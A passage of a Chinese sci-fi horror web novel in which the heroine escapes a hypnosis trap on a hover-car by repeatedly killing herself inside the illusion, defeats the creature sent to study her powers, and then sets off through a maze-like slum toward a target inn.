最具怀疑的就是那晚把奚渚砸晕,但没有把她弄死的那一帮人。
这些人对于奚渚来说,没有具体身份,没有真实情报,能力强大,甚至可能拥有异能。仅从他们的只言片语中得到他们身处10区,但10区这么大,要找到他们无异于大海捞针。
现在的情况简直可以称之为腹背受敌,前有扑朔迷离不知身份的陌生组织,后有见缝插针跟个不定时炸弹一样的脑内监控。
奚渚望向车外,她该用什么手段去调查那帮人,而且必须要将脑子里的监控弄走,无论什么办法。
脑内监控被奚渚列为了首要任务,这东西的危险性可想而知,如果触发条件是本人点头同意,奚渚岂不是以后一直要高傲地抬起头颅,做一只永不低头的“高傲猫咪”。
奚渚将脑子里的画面摇了出去,那样未免太恐怖,无形的监视,等同于将她完全暴露在一张白纸上。
奚渚突然想起吉蒂琼,对方曾说过,上区可以置换全身的器官。
那么——换脑手术是否可行。
她立刻问向白央,“我怕之后出任务肉身不方便,如果我想将整个身体换成机械,当然包括脑子,这种情况是否可行?”
奚渚脸不红心不跳地扯了一个“一切为了任务”的认真表情。
白央说:“我认为你暂时没有必要动这项手术。一是因为其价格十分昂贵,就算是在没有正规手续的诊所做,医生大多也不会同意。
其二是换脑手术不稳定,不是技术不够,相反技术已经十分游刃有余
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,但人类大脑中最复杂的一个东西——神经意识。这东西,有的人要,有的人不要。不要的人一切好说,存起来就行。要的人,如果想要意识完全覆盖新大脑,这个过程十分漫长且痛苦。
所以综上,作为一个队长的考量,不到万不得已,我并不赞成你进行换脑手术。”说到这里白央已经猜出了奚渚真正想说的话,她继续补充:
“脑内监视是上区为了监视下区人所做的手段,只限三军拥有权限。
但这种看起来夸张的监控制度也是有条件的。
只有当事人同意,我们才可以入侵对方大脑截取部分记忆。
所以在普通人之间,这种监视完全无效。
在下区出生的人,从出生起就会在大脑最深处被植入芯片,它并没有那么好拿出来。”白央突然停顿了一下,她故意说这句,就是为了打消奚渚心里正在想的那个可能。
——将脑袋剖开看一看。
不知道为什么,白央总觉得奚渚能干出这种疯狂的事情来。
她继续说:“下区中换脑的人屈指可数,一是无法承受天价手术费,二是新大脑适配不好会直接导致死亡。风险比起监视来说大到离谱,因此没人尝试。”
奚渚没想到白央竟然把她心里的小九九全给解释了,而且并不是敷衍了事。从奚渚拮据的手头情况到新脑风险再到打消她解剖大脑的疯狂想法,层层递进,水到渠成。
不得不说,奚渚确实犹豫了,但她还是问了一句,“多少钱。”
“一千万一个脑子,后续保养一次一千万。”
“真贵。”
“我也觉得。”白央说。
二人眨了眨眼,突然觉得面前有点儿花。
就像是卡碟一样,某些地方出现了小小的花点。
奚渚坐直身体,手术只能再议,有情况来了。
她开始扫视周围的工人。
隔离区距离奚渚的上车点较远,因此这段路程大约会花费半个多小时。
前提是不出任何意外的话。
几条红色的浮鱼忽隐忽现,绕在悬车周围,开始交错行驶,悬车降低高度,为面前即将到达的隧道做准备,浮鱼一时飘荡在上,一时穿梭于下。
在一阵微光过后,奚渚感觉到身前的两个人似乎在向后倾倒,距离她越来越近。
当浮鱼的红光再次亮起的时候,那两人依旧坐在座位之上,看起来没有任何异常。
“想多了吗?”奚渚心道。
车依旧平缓行驶,整间车厢透露出一点怪异。
10区独属的巨大山脉在车外连亘一片,深绿色的树海掠过奚渚的双眼,面前就是空中隧道。
奚渚掏出猎杀枪。
几秒过后,悬车就要遁入黑暗。
哗!
浮鱼撞在山头,烟花一样嘭地消失。
整个车厢是伸手不见五指的黑。
脑内波动没有任何奇怪之处,但奚渚就是觉得不对劲。
微弱的亮光在车身前渐渐出现。
奚渚松了口气,悬车马上就要驶离隧道。
哗!
面前微光亮起。
奚渚眯了眯眼,和白央对视一眼,对方摇了摇头,示意没有异常发生。
只不过那老奶奶的鼾声越来越大,手中的圆圈钩针也越来越多。
哗!
下一个隧道立刻笼罩在二人头顶!
此时,鼾声戛然而止。
30.反杀(二)
此时,鼾声戛然而止。
悬车陷入极致的安静,就好像整个车上只剩奚渚一人。
一股寒意袭上她的心头,困乏从四肢百骸渐起,奚渚整个人突然开始有了一种晕车的错觉。
她反复眨眼,站起身慢慢地挪动步子。
车厢已经陷入极致黑暗,白央同样也站了起来。
二人都察觉到了某种微妙的危险。
哗——
隧道已出。
奚渚眯着眼,适应着光线。
二人呈背靠之姿,两把猎枪已经上膛。
周围看起来没有任何变化,但。
气氛显然不对劲儿。
奚渚转过头,正准备与身后的白央说话。可是猛然间,她全身不自觉地脱力,四肢疲软,肌肉萎缩,整个人猛地摔倒在地。
而白央也跟奚渚一样,完全没有任何预兆地嗵一声摔倒在地。
无数垂头酣睡的工人开始以一种奇怪的频率进行呼吸,呼吸声越来越重,形成了一张密不透风的网,奚渚的意识开始涣散,她的呼吸开始不自觉地跟随大众的节奏。
她感觉到身体越来越软,整个人宛如泡到水球之中,窒息的无力感从内到外贯穿身体。
哗!
黑暗再度来袭。
悬车行进的方向,遍布密密麻麻的隧道,这种一明一暗的闪现环境,几乎让奚渚产生了一种正在做梦的错觉。
脑内波动没有任何变化,奚渚确定车内没有感染物。
一阵山呼海啸的俯冲过后,隧道再次被悬车甩在身后。
这次,奚渚站了起来。
车内寂静一片,无一人动作。
奚渚视线一瞥,白央正眉头紧锁,竭力地转动着眼球,好像怎么做都无法睁开眼。
那种莫名的困意又从四肢渐起,奚渚强-迫自己睁开双眼。
下一个隧道马上接踵而至。
危机四伏的悬车,昏昏欲睡的大脑,奚渚眨了眨眼,面前好像罩了一层薄纱,一切都开始扭曲迷蒙起来。
她心下一考虑,左手直接用力,硬生生掰断了她的一根手指。
钻心的疼痛让奚渚短暂的清醒过来,但不到十秒,那种昏睡之感再次袭来。
这次,她没有犹豫,直接扳断了手腕。
这是一条十分漫长的隧道。
整节车厢只能听到骨头频频断裂的声音,干脆利落。
无限再生的能力反复发挥着功效,足够奚渚的每一次痛苦清醒。
她托着昏沉的脑袋靠在车窗上,很奇怪,很奇怪。
如果再生能力可以使用,那么就说明感知能力也仍然奏效。
但是,为什么无法感应到任何奇怪之处?
究竟是哪里不对。
奚渚活动了一下手腕,她回忆着乘车的全部过程。
从上悬车起,她就将所有工人全部感应了一圈,绝不会存在任何遗漏之处。
那么就说明敌人是半路发难。
目的无外乎是将她困在这辆悬车中。
哗——
隧道结束。
亮光渐起。
白央仍旧摔在地上,双手紧握,已经深陷噩梦。
奚渚盯着前方两个工人的背影。
他们的头发十分乱糟糟,有的发丝甚至都耷拉到了奚渚眼前。
她捻起一根发丝,下一秒,似是不受控制般,掀开了身前二人的头发。
在头发之后,是一张脖子九十度扭转且诡笑的脸,它正盯着奚渚目不转睛地窥看。
奚渚立刻松了手。
头发重新盖了回去。
隧道来袭,黑暗再度降临。
***
悬车上。
肩膀上刻着24,浑身刺青的女人正坐在车顶,百无聊赖地数指头。
悬车即将进入下一个隧道,她不用进车,也知道车内会发生什么。
这是她送给奚渚的礼物。
深陷噩梦的泥沼,在癫狂的幻想中神智破灭。
正在试图破解这场催眠的奚渚,只会越陷越深,到时候她会怀疑一切,像她那样谨慎的人,一定会不惜任何手段保持清醒。
她笑了一声,“没用的,没用的,越想要清醒,就越会深陷泥沼。”
女人躺到车顶,在车上打了几个滚,在距离隧道五米之外的地方直接站了起来!
没有想象中的血溅隧道,女人反而消失的一干二净。
下一秒,她站到了车内,随意敲了一个响指,一名乘客突然摔倒在地,口吐鲜血。
“人类有的是,这场催眠游戏可以无限持续下去。”女人蹲坐在奚渚面前,对方眉头紧锁,正在做着无用的挣扎。
***
催眠中,奚渚依靠不停的疼痛来促使她反复回神,从而不至于意识涣散。
面前的两张诡脸被她重新拿头发盖上,意识不清加上未知的惊吓,让奚渚的疑心更重。
这种昏睡的技能,似乎和先前晚上在白央家中遇到的情况一模一样。
也是在神不知鬼不觉处,二人统统中了陷阱。
而背后的始作俑者,极大概率就是杀死嘴巴的敌人。
奚渚没想到对方竟然还跟着她。
如果是这样,那么只能说明这头感染物有着极强的目的,且目的一定是针对奚渚。嘴巴已死,如果敌人只是为了杀害同类,绝不至于继续冒险对付奚渚。
奚渚隐藏在黑暗中,那种怀疑一切的感觉又垄上心头,世上怎么会有如此多的巧合,环环相扣,在接下论坛任务的瞬间,就有敌人飞速现身。
神出鬼没、能力强大,率先杀的就是嘴巴。
既然对方都主动送上门,怎么能有放过它的道理,“嘴巴,我会让它去陪你的。”
奚渚伤口恢复的速度非常快,她还记得无限再生是有条件的,既然快到不符合常理,那么只能说明她现在就身处不常理之中。
到底是从什么时候开始的呢?
第一次是进入白央公寓的瞬间,二人就中了招,脑袋昏沉,直接不省人事。
第二次呢?悬车的奇怪之处在哪里?
如果敌人想要发动能力,一定不会离得太远,那么就证明对方肯定在周围。
既然不在车内,那么是否...藏在车外。
敌人趁空中游鱼闪现的瞬间,趁着奚渚分神,再次发动能力。
但是,对方为什么不敢现身?
唯一的原因只能是害怕与奚渚硬碰硬。
在深-入推测的话,害怕的原因只有一个,那就是敌人清楚地知道奚渚的异能,害怕在接触的一瞬间就被奚渚直接绞碎。
奚渚回忆着,她目前只展现过两次感知能力,第一次是在监狱,第二次是在废弃村庄。
不管是哪个地方,都只能得出唯一结论:她被人监视了。
对方不惜暴露身份,也要杀死嘴巴,如此明显的示威后非但没有收敛,反而还继续动手,对方的目的,是为了在这里杀死奚渚!
似是要验证她的想法一样,奚渚为了清醒思考,直接掰断了她的整个右臂。
她表情冷漠,为了清醒能舍弃一切,就像为了揪出敌人她可以做到常人难以做到的地步,什么任务统统都不再重要,她只有一个目的,那就是在这里杀了搞鬼的感染物。
注意力回笼,奚渚却一反常态,她强迫脑子一片空白,故意无视掉软趴趴的胳膊。
但奇怪的是,胳膊却立刻恢复了原状。
奚渚确定她没有使用无限再生能力。
为了持续验证她脑中的想法,她举起猎枪,直接击穿了肩膀。
她再次选择忽略伤口,等过了一阵,肩膀像什么都没发生一般,完好无损。
奚渚再次提起面前两个人的发丝,首先在心里预设了两张脸。
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>掀开之后,和她脑海中设想的两张一模一样的脸出现在她面前。
奚渚靠到座位上。
——果然,这里不是现实。
但似乎也不是梦境,而是一种可以随着意识而产生变化的地方。
它的精巧之处在于,如果深陷之人无法冷静思考,整个人陷入恐慌,那么恐慌惊悚的意识就会直接影响周围的一切东西。不断预设出的害怕,将以更加荒诞惊悚的模样展现在面前,从而加强恐惧感。
奚渚进行了几番测试。
她在弄伤自己后,没有预先思考疼痛和恐惧,而是以一种完全冷漠的旁观心态来看待她身上发生的一切。
果然,伤口也并没有任何疼痛之感,就好像没有存在过一样。
随后,人脸的变化更加证实了奚渚的这一猜想。
在最开始的那两张倒错的脸,就是奚渚大脑混沌产生的结果,它们以扭曲的形态加强了奚渚的惊慌。
这地方,就好像是在通过自我暗示进行自我催眠。
奚渚站起身,如果说一切事物在这里都是境随心转,那么即使是将整个悬车撞毁也一定没事儿。
她走到自动驾驶位上,面前几十米外是一个漆黑的隧道,她没有任何犹豫,直接调转方向,直直冲着隧道之上的山体猛地冲了上去。
轰!
悬车爆炸!
全车人如鬼压床一样,极速闪回。
奚渚猛地前倾,再次睁眼。
面前光线黑暗,悬车正身处隧道之中。
身前的工人没有任何异常。
奚渚站了起来,继续掰断手腕,同时以旁观态度不去思考和感受任何痛苦。
果然,手腕没有任何变化!
她还在催眠之中!
究竟是为什么?哪里出了问题?
自我催眠听起来似乎没有操纵者,深陷之后意识混沌,但受术者仍然保留对自身行为的控制,并非完全失去意识或任人摆布。
奚渚能够思考一定也是因为这个。
她既是操纵者,也是受术者,那么唯一的突破口,依旧是在奚渚身上。
切断催眠,就必须切断自己的全部意识。
奚渚拿起枪,对准了她的脑袋。
轰!
意识断裂,她猛地惊醒,周围没有任何变化,但唯一的不同的是,白央双手扶着座椅,痛苦难忍般被迫睁开了双眼。
二人互相对视一眼,只觉得意识又开始下坠。
“催眠幻境类型的感染物,跟在楼上那会儿出现的一模一样,暂时不清楚持续切断意识是否有效。”白央简单快速地道,很显然她也对自己动了手。
奚渚点了点头,“对方的目的,是想在催眠中想杀我们。”
白央双手撑开,想要站起身,下一秒,整个世界天旋地转,二人再次被昏沉的意识笼罩。
奚渚在瞬间调动感知,在她闭眼的一瞬间,脑内的波动突然频闪了一下。
奚渚瞬间睁眼!
她已经再次陷入催眠中。
好消息是,奚渚确定了两样东西,第一个是自我切断意识可以造成催眠断裂。第二个就是随着催眠的不断解开,她对感染物的感知就会越来越清晰。
但是坏消息也接踵而至,那就是单凭切断意识,清醒的时间太过短暂,几而且无法作出任何有效的反抗,更不用说找到感染物。
而且,更重要的是,奚渚无法打包票肯定她刚才与白央的对话,不是由她脑内的意识所引导的!
这就是敌人的异能,不单单是让奚渚深陷催眠,更重要的是让她产生自我怀疑。
这种怀疑会让奚渚事事都疑心的性格产生更大的疑惑,从而让她彻底无法分清什么是现实,什么是假象。
“这是有组织的针对我而来的啊。”奚渚举起枪,按下扳机。
轰!
她在一片黑暗中重新睁开双眼。
31.反杀(三)
硝烟味四散,浓重的火星味萦绕在奚渚周围,她将注意力全部抽离,不让自己有任何犹豫。
子弹正中大脑,刺破皮肤的尖锐感立刻膨胀,劈开残存的意识,整个人好像被巨力撕裂。
下一秒,自太阳穴开始,意识回溯,奚渚再次被迫回神。
砰!
在连续开枪两次后,奚渚获得了短暂的清醒时间。
悬车在半空平稳行驶,奚渚却整个人晃晃悠悠站不稳脚步,她靠在车窗上,平复着呼吸与意识。
催眠中的枪杀并非对她没有任何影响,反而加重了她的精神压力。
没有任何人能够反复开枪,不计后果的做出这种死亡选择。
她的胸腔还在不断起伏,奚渚站起来,疑惑道:“这里是现实还是幻境。”
唯一重要的问题阻碍着奚渚,如果无法清楚判断,那么就无法找到突破口。
最重要的是,现实中的她和白央,处于意识昏睡的话,极大概率正在面临着危险。
***
感染物眨了眨眼,它换了一条腿,支在车顶。
奚渚貌似十分努力,努力到让它有一点感动。
“奚渚猜出了催眠的计中计,她肯定会得出必须切断自我意识才能清醒的结论。但是,清醒之后的你,是否有能力判断身处何处?”
感染物饶有兴趣地观察着车内的一切,“难道你没有发现吗,反复的意识抽离已经对你的大脑和精神造成了强压,你能在找到异常之前保持正常吗?”
叮一声响,有消息来了。
光屏在闪烁,感染物查阅着加密信息,一目十行地快速浏览,这些信息详细提及了奚渚的异能。
“奚渚,协调者。主要能力:脑内感知。辅助能力:无限再生,速度加强。未知部分:能力开发程度以及熟练程度。本次接触目标,了解对方能力详情以及崩坏阈值。查看完成后,杀掉并带回尸体,供研究使用。其周围人全部抹除,无需过问。”
感染物回过神来,“有意思,没想到她们这么上心。”
它看向车内,一切平静。
它的能力可以强制催眠,这项异能几乎无需接触目标物就可以完成,这也它被派来的主要原因,在最远距离接触奚渚,从而不至于还没近身就被发现。
但唯一的缺点是它无法知道奚渚进入催眠后会发生什么,也就是无从判断奚渚的下一步动作。
它站起身,随意在车厢内选了一个意识薄弱的人类。
啪!
一个响指结束后,一直呆愣在座位上的人类突然摔到地上。
脊背佝偻,匍匐深陷。
感染物持续进行意识催眠,“奚渚身边那个人没什么用,就交给你了。”
人类缓缓拖动身体,他完全听从了对方的催眠,爬到了白央面前。
他双眼空洞,宛如行尸走肉,下一秒,他抠开了自己的脑子,其身体内部竟然是空心的。
他爬到白央身上,正在与对方融合。
***
奚渚回想起刚才的自-杀过程。
撞山,死了一次。
周围毫无变化,说明问题不在于这辆车,即使破坏了也毫无用处。
开枪,第一次意识死亡。
意识有短暂的撕裂,且大脑感知到了微弱的频率,但马上又陷入催眠。
开枪,第二次死亡。
依旧短暂清醒,时长略长一些,同时奚渚确定了白央的气息,对方还活着。
两次死亡,仍旧无法彻底逃脱。
但随着死亡次数的增加,意识的撕裂时间也会变长。
想到这里,奚渚没有犹豫。
手头还有下一个任务,她没时间在这里陪一个不敢现身的催眠感染物浪费时间。
奚渚举起枪,砰一声。
第三次枪响。
她闻到了满溢鼻腔的浓烈火药味。
奚渚立刻睁眼,意识清醒,接触到现实的感觉越来越清晰!
她确定现在是现实!
白央摔倒在地,她的腿上竟然有一个缓慢包裹她的东西存在。
“什么玩意儿?”奚渚立刻把白央拽了起来,把对方塞到了座位上。
奚渚正对那头奇怪的东西,离得近了,竟然是一张薄如蝉翼的人皮正在地上爬。
奚渚抽了抽眼角,这也太邪门了。
没必要考虑对方怎么来的,一定是那头感染物搞的鬼!
她一手抓起那张人皮,立刻感受到了融合的刺痛感。
奚渚打开车窗,一把将那东西甩了出去,“最快的办法往往最朴素。”
白央有转醒的趋势,奚渚立刻弄醒对方解释道:“死亡次数与清醒时间有关,对方不在车里,大概在车外,唯一能躲的地方只有车顶,你找她,我负责创造清醒时间。”
白央虽然懵着,但她反应迅速,立刻明白了奚渚的意思,二人要里外配合。
奚渚说的没错,以现在的情况来看,必须有一个人负责破开催眠创造清醒时间,奚渚在催眠中通过不断杀死自己来创造机会,而白央要做的,就是在撕裂的短暂时间内专注于车厢,找到感染物藏身何处。
奚渚意识困顿,又来了。
她甚至还将自己调整到了一个舒缓的背靠位置。
这次,她已经没有那么慌张了。
三次死亡,已经搞清楚了很多东西。
对方是针对奚渚而来,整个催眠也是为了限制她的能力,只有奚渚的死亡才可以影响白央,所以在催眠中,由奚渚来反复开枪才是最优解。
那么下一步要考虑的就是,死亡次数有没有限制。
如果有的话,在达到阈值的瞬间,奚渚开枪就会导致她在现实中彻底死亡。
感染物也是猜中了这一个,才会一直不现身。
“挺有意思的。”奚渚思考着,“很明显,不同于前几次的感染物,这次主动出手的感染物是有计划有脑子的。”
奚渚要赌一把。
感染物一直不现身,她就必须把它逼出来。
嘭!
意识清醒。
白央动作飞快,她已经明白奚渚清醒的瞬间她也会从催眠中抽离,她瞬间起身,飞速推开车门,一个猛跃,双手抓住了车顶,开始向上攀爬。
奚渚脑袋针扎似的疼,很明显是产生了反噬,影响到了她现实的状态。
她看向白央消失不见的身影,现在的任务分配是最合理的,在压力之下,她没办法腾出心思来找对方。
她相信白央,一定能找到线索。
现在最难确定的事情就是感染物会不会频繁移动藏匿地点。
这样一来,寻找难度几乎直线上升。
对方可以在众人被催眠后无限制移动。
那么每次醒来就意味着需要重新寻找。
车厢内的工人都十分正常,垂着脑袋,一动不动。
奚渚尽可能地不想把他们牵涉进来,这些工人都不容易,如果只是因为她在这里就被迫卷入这些麻烦,那么对他们来说十分不公平。
她能做的,只是在自己能力中最大限度保全这些人的性命。
在意识涣散的前一秒,奚渚看到白央空手回来了,对方摇摇头,“车顶没有,它躲在车里!”
白央猛地前栽,膝盖一软。
又来了!
奚渚呼出一口气,第四次催眠。
这次,有东西变了。
最为明显的就是车内人们的位置出现了极大的改变。
看来是感染物等不及出手了。
以悬车过道为清晰的分-界线,所有乘客都堵到了奚渚座位的另一侧,众人吊在手环上,了无生气,形如鬼魅飘荡,随着悬车一颤一颤。
白央摔在了车门处,奚渚将她扶了起来。
这次奚渚没有选择直接动手,关于死亡次数的限制她大概猜到了一点。
脑内的感知能力被奚渚启动,她将全部注意力放到了波动之上。
将波动范围扩大包围到了整个车身,只要有一点异常,她立刻就能发现。
不同就意味着异常,异常就意味着对方会露出马脚。
面前只剩下两个工人。
奚渚掀开二人的头发,脸这次是正常的。
她松了一口气。
莫名被吓到和有准备被吓到确实是两种概念。
全车波动无异常,还有哪里,没检查到呢?
奚渚环视一圈,最容易让人忽略的地方吗?
她微微扭头,侧身望向自己身后。
黑洞洞一片的背后,似乎下一秒,就会有什么东西冲出来扼住她的喉咙。
脑内波动如轻弦颤-抖。
奚渚举起枪,嘭一声。
第五次!
她再次射杀自己。
意识回笼,白央转醒,二人对视一眼。
——不是想玩吗?
——我们陪你好好玩一玩。
现实世界中的波动越来越明显,对方似乎是被奚渚不按常理出牌给气急眼儿了。
波长都开始呈现出了不正常的律动。
这就是奚渚想要达到的目的。
感染物几次三番都是在逼她动手,那么就反其道而行之,先逼对方现身,奚渚在赌,她赌对方沉不住气,一定会主动出现。
毕竟拖下去,对谁都没有好处。
而且她猜测感染物一定是为了她身上的异能而来。
除了这个答案,奚渚再推断不出对方迟迟不动手的原因。
有计划,有组织,有头脑。
这头感染物是被什么人派来的!
而背后之人,完全知道奚渚的能力。
但对方大概率不知道她的能力到达了何种程度,所以被派出的感染物才不敢贸然动手,而远距离接触的感染物类型正是最好的棋子。
通过不断开枪诱导敌人主动出手,从而推断出感染物的异能、级别、限制、目的、身份等等,这才是是奚渚的真正目标。
“找到你了,我们待会儿见。”奚渚拿起枪,默默心道。
***
24号一脸焦虑。
为什么?为什么?
奚渚明明发现了它,却装作没看见,选择再次对动手。
这对她没有任何好处啊!不仅会继续增加奚渚的精神压力,还会导致死亡次数的增加。
难道对方知道了死亡限制?
奚渚已经死了五次,死亡次数一共限制七次。
再死两次,奚渚如果会对自己动手,就会直接脑死亡于催眠中。
它摇了摇头,它不认为奚渚能够如此轻易地猜出规律,对方的这种做法,看起来更像是拿它当猴耍。
这明明就是看不起它!
24号嗤笑一声。
奚渚一定是打的这种算盘。
想把它引出去。
在现实世界来一个绝地反杀。
看破奚渚心思的24号依旧安心地躲着,那就让她耍猴吧,反正它绝不会主动暴露。
***
感染物没有动静。
甚至波动都平缓了不少。
“这是,上当了
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!”奚渚心道,看来对方猜出了她的假意图,以为奚渚是要逼它出去,而对方参破这点,就一定会继续当缩头乌龟。
奚渚站起身,现在还在现实,她对白央打了一个手势,示意第六次催眠马上降临。
白央点头,表示完全没问题。
感染物虽然躲着,但经过奚渚的挑衅,一定会加重催眠的力度,如此一俩,在意识混沌,苔粒子激升的瞬间!
奚渚在瞬息间就锁定了对方的新位置——驾驶室。
哗!
第六次到来。
奚渚吐-出一口气,还有什么比猫抓老鼠更让人兴奋的游戏,只不过,这场游戏她是那只猫。
不死就不会活着,想要活着就必须死!
嘭!
二人立刻苏醒,白央以飞速之姿猛地冲向自动驾驶室,奚渚的手势在方才眨眼的瞬间就来了,二人配合默契,瞬间就锁定了目标。
白央架起猎枪,直行的子弹轨道中,V7猎枪正在发挥它最大的火力,无数弹壳如水泄一样砸在地上,火力猛攻之处,枪声轰鸣,巨大的后坐力让整个悬车剧烈颤-抖,车身前半部分被轰成了渣子,子弹扭曲处,空气赫然出现了裂缝,白央身前,一个身影猛地飞扑而去。
波动,协调,同步,潜意识,施压!
奚渚已经用的得心应手,但这次,她故意控制了力度,她不会杀了这头感染物。
感染物被突然出现的奚渚按到地上。
它感受到了协调的巨大压迫感。
24号刚才的注意力根本不在奚渚身上,它以为白央才是那个动手的。
没想到,这才是奚渚的计划。
由白央当前锋,奚渚则在最后动手。
24号的身体趴伏在地,突然,一声轰鸣响彻耳边。
奚渚,以谁都意想不到的疯子动作,再次动手对着她开枪。
“限制七次,对吧。”奚渚看向24号,对方一脸计划被破坏的恼怒表情。
——赌对了。
这里-根本不是现实,六次自-杀之后,是感染物创造出的二层催眠世界。
完全模拟了现实的意识,目的就是为了让奚渚松懈。
24号算盘打空,她本以为奚渚抓到它后会直接反杀,到那时这个催眠才算真正的完成。
在二层催眠世界中,奚渚会以为她杀了敌人,从而彻彻底底地被困在这里,一辈子出不去。
但是,它赌错了。
奚渚到底是个什么人,竟然还敢再次动手。
整整七次开枪命中大脑,强大的压力竟然还没有让她崩坏,反倒是一脸亢奋的模样!
对方根本什么都不怕,这样的协调者,会对它们造成巨大的威胁!
哗!
奚渚睁开眼,鼻尖是凉爽的空气,强风爽快兜过,她才发现自己竟然站在悬车之上。
24号感染物被她攥在手里,对方瞪大了眼睛一脸不可置信。
“你杀了嘴巴?”奚渚问道。
24号愣了下,它回忆了一番,实在不知道对方在说什么,它杀过那么多东西,怎么可能个个都记得。
“你杀了嘴巴。”奚渚再次道。
“那头红色的...”24号突然有了一点儿印象。
嘭!
24号呼吸停滞,一脸呆愣,它的身体似乎被掏了一个大洞,洞里夜风游荡。
奚渚竟然没有用异能杀它,而是继续用枪!
一瞬间,它甚至都怀疑奚渚是不是猜到了它的目的是什么?
24号捂着胸口,红色的游鱼不知何时又环绕了过来,将二人紧紧包围在其中,在一片红色的光斑中,它看到奚渚摇了摇头。
它心下明了,对方不会给自己任何活命的机会,抑或是开口解释的机会。
它会死!
就在这里!
就在现在!
嘭!
感染物死亡。
游鱼凑到奚渚身边,迂回缠绕飞舞,光点被它们的巨型尾巴带出来,温柔地扑打在奚渚身上,她看向双手,正如她所料,这次没有获得任何技能。
但这是她故意这么干的。
如果这头感染物是为了获得她能力情报而来的话,她轻易剥夺对方的能力,那么就已经陷入了背后之人的阴谋,而且一定会面临更加不可控的风险。
在接下来的一段时间内,一定还会有更多意外发生。
到底是谁?
要杀自己。
***
车内。
白央安抚着工人,毕竟一觉醒过来,悬车被炸了个大洞属实不正常。
她看向已经回到座位上的奚渚,指了指奚渚的鼻子。
奚渚抹了一把,又开始流鼻血。
“解决了?”白央问道,七层催眠,看来奚渚赌对了。
奚渚点了点头,全车人渐渐苏醒,老奶奶继续钩起手里的圆圈毛线,大家低语呢-喃,正在讨论发生了什么。
“解决了,全车人安全。”奚渚说。
她抬起手,摸上口袋中的包装纸,“嘴巴,给你报仇了。”
***
啪!
一间毫无人气的白室内,弧形穹顶被投影出全息夜空,正对面,百米宽的冷色光屏正在闪烁,冰冷的数字在极速跳动,扭曲的螺旋数值,苔粒子的浓度升降,协调者的精确位置,以及整个地下联区,全部一览无余。
正中-央,一把白色椅子后,一个女人睁开双眼,微微侧头,瞥了一眼侧边跳动的光屏。
那里,24号的位置已经熄灭。
32.孵化幸福旅馆(一)
悬车缓慢停靠,一方偏僻之地映入眼帘。
密密麻麻,乱棚搭建,屋檐破落一角,几只老旧型号的机械鸟在僵硬地啄着翅膀。
工人们淡漠地走下车,呈复杂米字形建设的流浪区宛如迷宫一样,只几秒间,众人就消失不见。
天色灰暗,一股若有若无的霉味氤氲在潮湿的空气中,从奚渚的视线来看,整片流浪区像是没有被涂抹开的厚重颜料,一块一块,堆叠在一起。
“到了。”白央说。
悬车开始晃晃悠悠地掉头,车灯啪一下照在奚渚身上,她在刺眼的顶光中,揉了揉眼睛。
“看错了吗?”她喃喃自语,“为什么好像看到了无数个圆。”
奚渚摇了摇头,“敌人的动作不可能这么快,一定是自己太累了,现在要专注手里的任务,等任务结束后再考虑别的东西。”
几条岔路口呈现在奚渚面前,明明是不同的小路,但看起来却如此相似,窄小,陈旧,延伸至看不清的尽头。
该走哪条?
任务限制了时限,要在迷宫般的流浪区内准确找到幸福旅馆,并且解决感染物,并不是一件容易的事。
流浪区占地庞大,根据10区文件来看,此处占地一百公顷,与地窟相比两者的复杂程度不相上下,整个区域被一条长达几千米的黄-色隔离带所环绕警示,铁栅栏从地底以倾倒之姿围过来,糊成一片的这里,远远看,像一个巨大的鸟笼。
工人尽散,下车点只剩下奚渚和白央,以及佝偻着身形的老奶奶,还有一对年轻的男女。
年轻女人一脸疑惑,看见奚渚与白央二人气质沉稳,壮着胆子过来问道:“那个,你知道幸福旅馆在什么位置吗?我们两个人刚从废弃区来到这里,听说那个旅馆价格便宜,还有多余的床位。”
奚渚还没开口,黄-色隔离带后突然窜出一个四十岁左右的女人来,对方圆脸笑面,高领衣服遮住了脖子,越显得她憨厚和蔼,她对着白央道:“客人们,您们要去什么地方?这里位置复杂,带个引路的总是最好不过!”
原来是招呼买卖的。
白央,“幸福旅馆?你知道吗?”
女人十分爽快,一口流利话脱口而出,“知道!知道!我红荷什么都知道!二位是要去那儿对吧,我便宜!”
奚渚看向一旁,那个老奶奶还在原地呆望着,看起来像是忘了回家的路。
红荷嗖一下蹦到了奚渚面前,“这位旅客,您意下如何啊!”
奚渚转过身,“你对这一带很熟悉?”
红荷使劲儿点头,上门的买卖必须拉拢住,“我熟!太熟了!别看这地方建的跟个迷宫一样,我就是这迷宫里的老鼠,哪儿都能找着。”
白央缓缓开口,“1000姆拉,走吧。”
奚渚没有异议,凭借二人确实无法快速锁定旅店的位置,与其无头苍蝇一样乱找,还不如找个向导带进去。
红荷一张脸笑得殷勤,听见白央一句1000姆拉,只觉得仙乐长鸣,一张脸都笑开了花,“这怎么好意思啊,既然客人您非要给我这么多,那我就恭敬不如从命了!咱们立刻出发我马上将您带到!只不过...”
奚渚说,“只不过怎么了?”
红荷嘴角一撇,几条皱纹挤了出来,似是想到了什么,但又敌不1000姆拉勾得她心痒难耐,她狠下心一跺脚,蹦豆子一样道:“我觉得二位很眼熟呢!”
奚渚抬眼看向红荷,“是吗?不太可能吧。”
红荷嗫诺半天,也没有说出个所以然来,随即一猛子朝前迈步,开始沉默带路。
几人跟着红荷在矮屋低檐间穿行,这地方纵横交错,一个岔路没走对,直接能奔到十万八千里之远。
别说在天亮之前完成任务了,就算给二人两天时间,如果没有一个活人导航,她们也根本绕不出去。
奚渚只有一个感受:旧。
太旧了,就好像很久都没有过活人生存过一般的旧。
灰黑的晾衣杆斜插在窗栏上,稀稀拉拉地搭着发白的衣服和破了洞的裤子,地下一片泥泞,每每踩进去,都免不了崴一脚,家家户头紧闭,看不出里面是否有人存在,寂静的迷宫中,一步一步,一步一步。
只能听到裤脚摩-擦的簌簌声。
机械鸟扑棱一下,斜飞而上。
奚渚回头一看,深深浅浅的脚步凌乱地印在单行道上,整个流浪区陷入越来越重的寂静。
几百米外的岔路口,突然跑出来几个光屁-股小孩儿,他们远远站着,看不清五官,更看不清表情,一声壮胆的尖叫后,几抹黑影消失得一干二净。
“这些小孩没人管,父母都在厂里上班,他们就喜欢到处乱窜。”红荷解释着,一边走一边抬起面前散落到她脸上的衣服,“这边拐弯。”
奚渚跟着红荷的步伐转身,余光中,她瞥见了一个奇怪的身影。
老奶奶竟然一直在众人身后跟着,一直默不作声的白央开口道,“一直跟着。”
“奶奶,您要去什么地方?”奚渚问道。
老奶奶反应了一会儿,她移动速度并不慢,可以一直跟在众人身后行走,“我好久没出来了,竟然在这地方迷了路,一个回神,大家都走-光了,我只能跟着你们两个人,找个落脚点,我有钱的,不会白吃白住的!”
